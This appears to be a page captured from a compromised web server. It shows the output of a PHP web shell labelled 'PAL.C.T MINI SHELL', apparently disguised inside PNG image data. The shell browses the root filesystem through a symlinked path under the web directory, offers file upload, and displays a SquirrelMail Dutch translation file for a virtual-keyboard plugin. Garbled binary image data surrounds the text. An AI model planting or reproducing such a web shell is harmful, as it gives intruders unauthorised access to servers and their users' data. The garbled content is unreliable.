php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/nl_NL/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/nl_NL/LC_MESSAGES/vkeyboard.po

# translation of vkeyboard.po to Dutch
# vkeyboard plugin for SquirrelMail project.
# Copyright (C) 2004 Daniel K. Imori
# This file is distributed under the same license as the vkeyboard package.
#
# Daniel K. Imori <daniel@bastion.com.br>, 2004.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
msgid ""
msgstr ""
"Project-Id-Version: vkeyboard\n"
"Report-Msgid-Bugs-To: Daniel K. Imori <daniel@bastion.com.br>\n"
"POT-Creation-Date: 2006-09-10 01:15+0200\n"
"PO-Revision-Date: 2007-04-04 21:56+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Dutch <squirrelmail-i18n@lists.sourceforge.net>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=utf-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"

msgid "Are you using a public computer?"
msgstr "Gebruikt u een publieke computer?"

msgid "Enter your password with the "
msgstr "Voer uw wachtwoord in met het "

msgid "virtual keyboard"
msgstr "virtuele toetsenbord"

msgid "Open Virtual Keyboard"
msgstr "Virtueel toetsenbord openen"

msgid "Virtual Keyboard: Help"
msgstr "Virtueel toetsenbord: help"

msgid "What's a virtual keyboard?"
msgstr "Wat is een virtueel toetsenbord?"

msgid "It's a keyboard that simulates a real keyboard. ;)"
msgstr "Het is een toetsenbord dat een echt toetsenbord simuleert. ;)"

msgid ""
"It protects your password against keyloggers, which are hidden programs that "
"capture everything that you type or click."
msgstr ""
"Dit beschermt uw wachtwoord tegen toetsloggers. Dat zijn programma's die elke "
"toetsaanslag die u doet registreren."

msgid ""
"So, you can increase your security, using the virtual keyboard and its "
"\"automatic click\" function."
msgstr ""
"Door gebruik te maken van het virtuele toetenbord en zijn \"automatische klik"
"\"-functie kunt u uw beveiliging verhogen."

msgid ""
"For this, you must point the mouse and keep it for few seconds on the key "
"that you want to type."
msgstr ""
"Om de gewenste toets aan te duiden, dient u met de muis de toets aan te "
"wijzen en er gedurende enkele seconden op te blijven staan."

msgid "Virtual Keyboard"
msgstr "Virtueel toetsenbord"

msgid "Enter your password:"
msgstr "Voer uw wachtwoord in:"

msgid "Help"
msgstr "Help"

msgid "The key will be pressed in "
msgstr "De toets zal ingedrukt worden na "

msgid " seconds."
msgstr " seconden."

msgid "Login"
msgstr "Inloggen"

msgid "Clear"
msgstr "Wissen"

msgid "Close"
msgstr "Sluiten"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`